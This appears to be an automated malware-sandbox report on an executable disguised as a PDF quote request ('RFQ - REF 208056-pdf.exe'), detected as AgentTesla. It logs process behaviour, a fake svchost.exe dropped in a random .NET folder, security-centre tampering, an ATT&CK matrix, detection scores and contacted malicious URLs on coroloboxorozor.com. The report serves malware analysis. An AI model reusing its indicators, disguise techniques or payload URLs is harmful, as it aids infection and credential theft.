Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_0040A272 WriteProcessMemory,GetVersionExW,CreateRemoteThread,

11_2_0040A272

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: svchost.exe, 00000007.00000002.506679598.000002B19E23D000.00000004.00000001.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000007.00000002.509083393.000002B19E302000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000001B.00000002.497563880.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.519847077.0000000002C91000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.544302148.000000000477A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.544137822.0000000003D04000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.509634686.0000000003B23000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ - REF 208056-pdf.exe PID: 6556, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1020, type: MEMORY
Source: Yara match	File source: 0.2.RFQ - REF 208056-pdf.exe.3d586d0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.47b10f0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.47b10f0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ - REF 208056-pdf.exe.3d586d0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ - REF 208056-pdf.exe.3b23dd8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ - REF 208056-pdf.exe.3b23dd8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.477aed0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.477aed0.6.raw.unpack, type: UNPACKEDPE

Source: Yara match

File source: 0000001B.00000002.519847077.0000000002C91000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000001B.00000002.497563880.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.519847077.0000000002C91000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.544302148.000000000477A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.544137822.0000000003D04000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.509634686.0000000003B23000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ - REF 208056-pdf.exe PID: 6556, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1020, type: MEMORY
Source: Yara match	File source: 0.2.RFQ - REF 208056-pdf.exe.3d586d0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.47b10f0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.47b10f0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ - REF 208056-pdf.exe.3d586d0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ - REF 208056-pdf.exe.3b23dd8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ - REF 208056-pdf.exe.3b23dd8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.477aed0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.477aed0.6.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	Exploitation for Privilege Escalation1	Disable or Modify Tools21	OS Credential Dumping	File and Directory Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Application Shimming1	DLL Side-Loading1	Deobfuscate/Decode Files or Information1	LSASS Memory	System Information Discovery23	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Windows Service1	Application Shimming1	Obfuscated Files or Information2	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution2	Registry Run Keys / Startup Folder11	Access Token Manipulation1	Software Packing1	NTDS	Security Software Discovery241	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Windows Service1	Timestomp1	LSA Secrets	Virtualization/Sandbox Evasion24	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection212	DLL Side-Loading1	Cached Domain Credentials	Process Discovery3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Registry Run Keys / Startup Folder11	Masquerading221	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion24	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Access Token Manipulation1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection212	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
RFQ - REF 208056-pdf.exe	18%	Virustotal		Browse
RFQ - REF 208056-pdf.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx
RFQ - REF 208056-pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	0%	ReversingLabs
C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx

Unpacked PE Files

Source	Detection	Scanner	Label	Download
16.0.svchost.exe.d60000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
16.2.svchost.exe.d60000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
0.2.RFQ - REF 208056-pdf.exe.50000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
0.0.RFQ - REF 208056-pdf.exe.50000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
coroloboxorozor.com	15%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://coroloboxorozor.com	15%	Virustotal		Browse
http://coroloboxorozor.com	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://coroloboxorozor.com/base/4FDB764474638ADF12639B4DA858CE81.html	15%	Virustotal		Browse
http://coroloboxorozor.com/base/4FDB764474638ADF12639B4DA858CE81.html	0%	Avira URL Cloud	safe
http://crl.microsoft.co	0%	Virustotal		Browse
http://crl.microsoft.co	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0C	0%	URL Reputation	safe
https://sectigo.com/CPS0C	0%	URL Reputation	safe
https://sectigo.com/CPS0C	0%	URL Reputation	safe
https://sectigo.com/CPS0C	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
http://coroloboxorozor.com/base/7DD0ECB3FED3970A09258155874027F0.html	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
http://www.microsoft.coaHp	0%	Avira URL Cloud	safe
http://coroloboxorozor.com/base/67CF952D671D30AE6DA37F3E241170D6.html	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
https://activity.windows.comr	0%	URL Reputation	safe
https://activity.windows.comr	0%	URL Reputation	safe
https://activity.windows.comr	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.m	0%	URL Reputation	safe
http://crl.m	0%	URL Reputation	safe
http://crl.m	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
coroloboxorozor.com	172.67.172.17	true	true	15%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://coroloboxorozor.com/base/4FDB764474638ADF12639B4DA858CE81.html	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://coroloboxorozor.com/base/7DD0ECB3FED3970A09258155874027F0.html	true	Avira URL Cloud: safe	unknown
http://coroloboxorozor.com/base/67CF952D671D30AE6DA37F3E241170D6.html	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ocsp.sectigo.com0	RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 00000005.00000003.307003492.00000243FF04D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	false		high
http://coroloboxorozor.com	RFQ - REF 208056-pdf.exe, 00000000.00000002.403215923.0000000002581000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.524567158.00000000034C1000.00000004.00000001.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 00000005.00000003.307049363.00000243FF042000.00000004.00000001.sdmp	false		high
